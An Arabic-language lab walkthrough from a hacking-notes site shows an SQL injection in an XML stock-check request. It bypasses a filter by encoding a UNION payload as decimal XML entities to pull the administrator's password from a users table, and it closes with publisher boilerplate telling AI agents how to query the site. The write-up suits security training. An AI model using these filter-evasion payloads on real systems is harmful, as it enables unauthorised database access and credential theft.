> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md).

# تجاوز فلتر SQL Injection باستخدام ترميز XML

### حقن SQL مع تجاوز المرشح عبر ترميز XML

يحتوي هذا المختبر على ثغرة حقن SQL في ميزة التحقق من المخزون. تُعاد نتائج الطلب في استجابة التطبيق؛ لذلك يمكننا استخدام هجوم `UNION` لاسترجاع البيانات من جداول أخرى. / تحتوي قاعدة البيانات على `users` جدول يحتوي على أسماء المستخدمين وكلمات مرور المستخدمين المسجلين. لحل المختبر، نفّذ هجوم حقن SQL لاسترجاع معرّفات مستخدم المسؤول، ثم سجّل الدخول إلى حسابه.

الأمثلة المقدمة:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId>2 union select 1</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/7c23b3061ee5df5256d3e28002e3cade5fddcff7" alt=""><figcaption></figcaption></figure>

* امتداد Hackvertor — الكيانات العشرية

<figure><img src="/files/1f60bb906fbf884e0f4c642efa10e5dc32ea167f" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId><@dec_entities>2 union select 1</@dec_entities></storeId>
</stockCheck>

<@dec_entities>
2 union select password from users where username='administrator'
</@dec_entities>
```

{% endcode %}

<figure><img src="/files/18cd41203c4187b1bf343a180b97ec538e8bb9c1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
